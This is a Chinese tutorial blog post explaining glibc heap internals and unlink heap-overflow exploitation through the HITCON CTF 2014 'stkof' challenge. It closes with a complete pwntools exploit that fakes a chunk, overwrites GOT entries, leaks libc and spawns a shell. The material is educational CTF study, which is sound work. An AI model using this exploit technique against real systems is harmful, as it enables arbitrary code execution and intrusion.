最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记;作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正。

  本文用到的例子下载链接https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof

  首先总结一下linux下堆的分配管理。堆的基本结构见上一篇文章,这里不再赘述。

一个更详细总结的传送门

glibc内存管理ptmalloc源码分析

1.堆区是在进程加载时的一片区域,mmap方式分配的堆结构体中的fd,bk指针指向的区域并不是随机分配的,而是由fd,bk等指针连接的相邻的、连续的内存区

2.为了支持多线程,堆的分配有arena机制(详见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#arena),简单来说该机制就是在第一次申请内存时分配的一个比申请内存大很多的一片内存区域,目的是减少内存申请释放时unlink的次数。

3.用户释放的chunk不会马上返还给系统,glibc的bin会管理释放的chunk,包含四类fast bins,small bins,large bins,unsorted bin。每一类的设计都包含优化减少unlink次数的思想,比如fast bin管理策略是LIFO,堆块默认最大64 * SIZE_SZ / 4,释放时如果bin大小在fast bin范围内,则插入到fastbin头部(目的是减少堆块合并、分割的操作,试想如果直接释放较小堆块,如果释放的较小堆块与之物理相邻堆块是空闲堆块,则会发生合并;当再次申请释放堆块大小的堆时,则又需要重新分割较小的堆块)(释放时进行前向合并时会先检查释放堆大小是否是fastbin大小,如果是直接链入fastbin头部;非fastbin大小的堆在释放时前向合并,如果物理相邻高地址堆为top_chunk则合并到top_chunk)size_sz是机器字长

4.unlink宏源代码https://code.woboq.org/userspace/glibc/malloc/malloc.c.html1388行。free的过程涉及到新的chunk由allocated变为free,为了优化要进行合并操作,包括后向合并(合并低地址chunk)和前向合并(合并高地址chunk),unlink的过程是一个从双向链表删除节点的操作。

5.glibc中free过程的大致操作:

  1>.释放堆块大小合法性检查(size>=min_size&&size<=max_size)

  2>.当前堆的follow chunk合法且前向堆(next chunk)的pre_inuse flag=1(next_chunk->size&0x1==1)

  3>.当前堆不能和freelist的头节点一致(double free),但是释放时仅检查freelist头节点并不遍历freelist,所以如果释放的chunk在freelist里(非头节点)还是会导致double free

  4>.检查后向堆(低地址chunk)和前向堆(高地址chunk)是否空闲

  5>.如果空闲则合并堆

  6>.将释放的堆链入合适的freelist

  下面分析一下这个有堆溢出的程序。

  这个程序实现了一个堆内存分配释放的功能,并且分配的堆可以编辑内容,分配的堆块指针记录在一个全局静态存储区.bss。但由于编辑的时候没有检查编辑内容的长度,导致溢出。

  

  下面以这个程序为例分析一下堆溢出unlink是如何导致任意内存写的,并分析一下如何利用。

  使用IDA查看发现存储堆指针的内存区起始于0x602140,不妨把这个内存起始地址叫做chunk_list

  如果我们alloc(0x30),alloc(0x30)两个堆,这个程序会把分配的地址写到chunk_list[1](即0X602148,chunk1)和chunk_list[2]的位置。由于编辑的时候没有检查长度,所以我们可以在chunk1写入大于chunk1分配大小的内容,由于chunk1和chunk2物理相邻(没有调用brk手动扩展堆),所以chunk1溢出的内容会覆盖到chunk2。所以我们精心设计一个chunk1的内容,使他的内存布局如下

  

  即在chunk1中填充一个fake_chunk,使libc认为chunk2的prev_free_chunk是chunk1。fake_fd和fake_bk这么填充的原因是绕过双向链表的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, ))                      \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD;

  unlink时首先检测双向链表完整性

FD=chunk1_ptr-3*size_sz  =>  FD->bk=(chunk1_ptr-3*size_sz)+3*size_sz=chunk1_ptr

BK=chunk1_ptr-2*size_sz  =>  BK->fd=(chunk1_ptr-2*size_sz)+2*size_sz=chunk1_ptr

即这样可以绕过上述双向链表的检测。

  unlink删除双向链表节点过程中的原子操作

FD->bk=BK  =>  chunk1_ptr=chunk1_ptr-2*size_sz  <=FD->bk=chunk1_ptr

BK->fd=FD  =>  chunk1_ptr=chunk1_ptr-3*size_sz  <=BK->fd=chunk1_ptr

即chunk1_ptr最终被赋值chunk1_ptr-3*size_sz,所以此时保存chunk1指针的chunk_list[1]就会指向chunk1_ptr-3*size_sz。因为这个地址在bss段,这样我们就得到了一个可读可写段的可控地址^.^

这里可以达成一次任意地址写的本质是我们得到了

&(&chunk0_ptr)=&(&chunk0_ptr)-*size_sz

则有

*(&(&chunk0_ptr))=*(&(&chunk0_ptr)-*size_sz)

即两个指针指向的内容是一致的,而此时&chunk0_ptr我们是可以修改为任意值,以此达成一次任意地址写

此时,chunk_list[1][3*size_sz]就是chunk_list[1]指向的地址处偏移3*size_sz的内容,所以我们可以编辑chunk1的内容为padding(3*size_sz)+p64(free@got),即可通过读chunk_list地址处内容得到free@got,进而得到libc基址,进而计算得到system@got

另外一种利用思路是把rsp指向chunk_list,然后通过构造ROP获取shell(https://raw.githubusercontent.com/acama/ctf/master/hitcon2014/stkof/x.py)

unlink可以导致任意代码执行的原因是我们可以覆盖free@got为system@got,然后调用free即可执行system@got的内容

EXP如下,另一个堆溢出例子传送门

from pwn import *

context.log_level='DEBUG'

p=process('./patched-stkof')
elf=ELF('./patched-stkof')
libc=ELF('./libc.so.6')

def debug():
print p.pid
pause()

def new(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK\n')

def edit(idx,con):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(con)))
p.send(con)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

new(0x100) #1
new(0x30) #2
new(0x80) #3
new(0x80) #4

cklist=0x602140
cur_chk=cklist+0x10
size_sz=8
fake_chunk=p64(0)+p64(0x30)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,fake_chunk)
#debug()
free(3)
p.recvuntil('OK\n')
#debug()
payload='a'*8+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(elf.got['puts'])
edit(2,payload)
#debug()
#modify free@got to puts@got to leak
edit(0,p64(elf.plt['puts']))
#debug()

free(2)
puts=u64(p.recvuntil('\nOK',drop=True).ljust(8,'\x00'))
success("puts: "+hex(puts))
libc_base=puts-libc.sym['puts']
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
success("system: "+hex(system))
success("binsh: "+hex(binsh))
#debug()
edit(1,p64(system))
p.send(p64(binsh))

p.interactive()

linux下堆溢出unlink的一个简单例子及利用的更多相关文章

  1. Linux下select的用法--实现一个简单的回射服务器程序

    1.先看man手册 SYNOPSIS       /* According to POSIX.1-2001 */       #include <sys/select.h>       / ...

  2. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  3. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  4. 在Linux下如何使用GCC编译程序、简单生成 静态库及动态库

      最近在编写的一个Apache  kafka 的C/C++客户端,,在看他写的 example中,他的编译是用librdkafka++.a和librdkafka.a    静态库编译的,,,而我们这 ...

  5. Linux内核中的信号机制--一个简单的例子【转】

    本文转载自:http://blog.csdn.net/ce123_zhouwei/article/details/8562958 Linux内核中的信号机制--一个简单的例子 Author:ce123 ...

  6. Mac、Linux下两个Emacs共享一个配置文件

    Mac.Linux下两个Emacs共享一个配置文件 有些嵌入式的实验需要在Linux进行,就安装了RHEL6.4的虚拟机,下载并编译了Emacs. 在Linux的.emacs文件中加入以下语句,即可引 ...

  7. 一个简单例子:贫血模型or领域模型

    转:一个简单例子:贫血模型or领域模型 贫血模型 我们首先用贫血模型来实现.所谓贫血模型就是模型对象之间存在完整的关联(可能存在多余的关联),但是对象除了get和set方外外几乎就没有其它的方法,整个 ...

  8. (转)Java中使用正则表达式的一个简单例子及常用正则分享

    转自:http://www.jb51.net/article/67724.htm 这篇文章主要介绍了Java中使用正则表达式的一个简单例子及常用正则分享,本文用一个验证Email的例子讲解JAVA中如 ...

  9. C语言多线程的一个简单例子

    多线程的一个简单例子: #include <stdio.h> #include <stdlib.h> #include <string.h> #include &l ...

随机推荐

  1. multiset的erase()操作中出现跳过元素的问题

    昨天,我写了一个multiset去重,让tt指向it的后面第一个元素,若重复则删除这2个元素,并令it=tt,it++:来使it指向tt的下一个元素(我想指向原it的后面第2个元素,并认为tt的下一个 ...

  2. 最简单易懂的Spring Security 身份认证流程讲解

    最简单易懂的Spring Security 身份认证流程讲解 导言 相信大伙对Spring Security这个框架又爱又恨,爱它的强大,恨它的繁琐,其实这是一个误区,Spring Security确 ...

  3. svg(可缩放矢量图形)

    入门推荐: http://www.ruanyifeng.com/blog/2018/08/svg.html (教程) http://www.runoob.com/svg/svg-reference.h ...

  4. k8s简单的来部署一下tomcat,并测试自愈功能

    前言: 2018年12月6日 今天终于把k8s运行tomcat打通了,耗了我几天时间一个一个坑踩过来,不容易啊,废话不多说. 先记录一些操作时的错误: <<<<<< ...

  5. ABP中的拦截器之ValidationInterceptor(下)

    在上篇我分析了整个ABP中ValitationInterceptor的整个过程,就其中涉及到的Validator过程没有详细的论述,这篇文章就这个过程进行详细的论述,另外任何一个重要的特性如何应用是最 ...

  6. 转 - mybatis中${}、 #{}区别及应用场景

    转与 https://www.jianshu.com/p/bbeff97d41eb 动态sql是mybatis的主要特性之一.在mapper中定义的参数传到xml中之后,在查询之前mybatis会对其 ...

  7. 七、Java多人博客系统-2.0版本-docker部署

    docker是当下很热门的技术,是对之前的部署系统方式的彻底改变.之前部署系统,需要安装数据库.初始化数据库,安装jdk,配置jdk,部署应用程序,修改配置文件等,很繁琐.一般现场运维人员很难搞定,现 ...

  8. [SCOI2009] 迷路

    题目类型:拆点, 矩阵快速幂 转化为矩阵快速幂,好题! 传送门:>Here< 题意:给出邻接矩阵,求\(1\)到\(N\)恰好长度为\(T\)的路径方案数 解题思路 如果题目给出的是一个\ ...

  9. 「洛谷3292」「BZOJ4568」「SCOI2016」幸运数字【倍增LCA+线性基+合并】

    [bzoj数据下载地址]不要谢我 先讲一下窝是怎么错的... \(MLE\)是因为数组开小了.. 看到异或和最大,那么就会想到用线性基. 如果不会线性基的可以参考一下我的学习笔记:「线性基」学习笔记a ...

  10. 多版本python及多版本pip使用

    最近做一些网站的发布程序,要用到python3,所以又安装了python3.   www.qlrx.netwww.393662.comwww.qnpx.netwww.393225.com       ...